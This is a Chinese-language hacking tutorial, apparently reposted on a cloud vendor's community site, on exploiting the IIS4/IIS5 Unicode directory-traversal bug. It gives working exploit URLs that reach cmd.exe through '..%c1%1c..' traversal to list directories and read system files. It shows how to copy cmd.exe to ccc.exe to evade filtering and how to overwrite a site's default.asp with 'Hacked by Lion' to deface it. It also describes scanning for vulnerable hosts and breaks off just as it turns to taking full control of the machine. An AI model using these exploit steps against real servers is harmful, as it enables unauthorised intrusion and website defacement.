IIS5 UNICODE 編碼漏洞的利用心得

來源:互聯網
上載者:User
iis|編碼|心得   大家一定都知道那個風光了很久的IIS5 UNICODE 編碼漏洞吧。沒辦法,第一篇教程不知道寫什麼好,隨便先湊合著,
就寫一下這個漏洞的攻擊心得吧。

1 首先我們來看看這個漏洞的原理。
在中文版的IIS4,和ISS5中,存在一個BUG,原因是UNICODE編碼 存在BUG 在UNICODE 編碼中,發現了一個奇怪的編碼方
式,

例如:

%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 編碼成(0xc1 -0xc0) * 0x40 + 0xhh.

例如
(Windows 2000 + IIS 5.0 + SP1 簡體中文版):
http://192.168.8.48/A.ida/%c1%00.ida
IIS 將返回"@.ida" 找不到該檔案 在這裡 (0xc1-0xc0)*0x40+0x00=0x40='@'

http://192.168.8.48/A.ida/%c1%01.ida
IIS 將返回 "A.ida" 找不到該檔案 這裡 (0xc1-0xc0)*0x40+0x01=0x41='A'

http://192.168.8.48/A.ida/%c1%02.ida
IIS 將返回 "B.ida" 找不到該檔案 ....

http://192.168.8.48/A.ida/%c0%21.ida
IIS 將返回 "!.ida" 找不到該檔案

這就意味著你能利用這些編碼的特點。

例如:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

所以我們就可以用這種方法進入一些目錄。

(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

這樣我們將得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
.   1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:181,317
README.txt 2000-09-28 15:49

〈DIR〉 wcount 9 File(s) 935,233 bytes


(2) 我們也可以利用此BUG得到一些系統檔案的內容
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
IIS 將把它當作 a .ASP 檔案提交.它將讓 asp.dll 來開啟檔案win.ini
如果用 IIS 4.0+SP6(中文版), 將不能測試成功 但是我們能用下列方法得到。
http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini

"default.asp" 是一個存在的 .ASP 檔案, "a.exe" 是一個隨機的 .EXE 檔案名稱. 它可以不存在。
打上SP1仍然還有這種編碼問題。

在英文版本中使用 %c1%af 能正常利用這個漏洞。


2.瞭解了漏洞的詳細資料。讓我們來說說怎麼利用。
a.利用IISExploitSearcher這個軟體,我們來找有這個漏洞的主機。
雖然這個漏洞公布很久了, 但你仍然會發現,你可以找到很多這種機器。
假如我們已經找到了一台有這個漏洞的機器。

讓我們來進行下面的操作。

b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

這個URL語句的執行的命令是:利用NT/2000下的命令解釋程式cmd.exe來執行一個拷貝命令。

copy c:\winnt\system32\cmd.exe ccc.exe

它把c:\winnt\system32\cmd.exe 拷貝到了c:\inetpub\scripts\ccc.exe

就是DOS命令中的空格,在URL中就要換成“+”號。

你要執行copy c:\winnt\system32\cmd.exe ccc.exe

相對應的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的,他的作用是調用c:\winnt\system32\cmd.exe來執行命
令。


噢,忘了說為什麼要拷貝cmd.exe了。

因為微軟的iis載入程式的時候檢測到有串cmd.exe的話就要檢測特殊字元“&(,;%<>”,所以必須改名。


c.這時c:\winnt\system32\cmd.exe已經拷貝到了c:\inetpub\scripts\ccc.exe

通過

http://ip/scripts/ccc.exe?/c

我們就可以調用到cmd.exe了,就是說不用那個編碼了。

http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Lion+>+c:\inetpub\wwwroot\default.asp

http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:\inetpub\wwwroot\default.asp

首頁面就被修改成了:

Hacked by Lion

20/10/2000

也就是說,已經把他的首頁黑了。

:P


下面是一些解釋。

其中echo 是一個回顯命令。

你在DOS下打一個echo Hacked by Lion 看看。

它是在螢幕上顯示

Hacked by Lion

不只這樣

你也可以讓它把東西寫進一個檔案。

echo Hacked by Lion > lion.txt

這樣目前的目錄下的lion.txt檔案裡就有了Hacked by Lion的字樣。

其中 > lion.txt的用途是把回顯的字元寫進lion.txt,它覆蓋原來的內容。

你如果再想用echo 20/10/2000 > lion.txt 來寫剩下的內容的話,

你會發現它覆蓋了原來的內容Hacked by Lion。

怎麼辦呢?別急!

echo Hacked by Lion > lion.txt

echo 20/10/2000 >> lion.txt

看看吧

檔案裡面的是

Hacked by Lion

20/10/2000

成功了。

這樣,就可以用上面的解釋,把空格用"+"代替,就可以向別人的首頁寫任何東西了。


補充一點

好多網站\inetpub\下的scripts目錄刪除了, 但\Program Files\Common Files\System\下 的msadc還在

(有msadcs.dll漏洞的話就不用 %c1%1c了)。

這時可以如下構造請求:

http://ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

就能調用到cmd.exe


3.當然,我們也不能只停留在黑首頁的地步,當然想進一步控制整個機器了。

:P

下面來說說幾種方法來控制這個機器。

a. 如果c:\winn



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。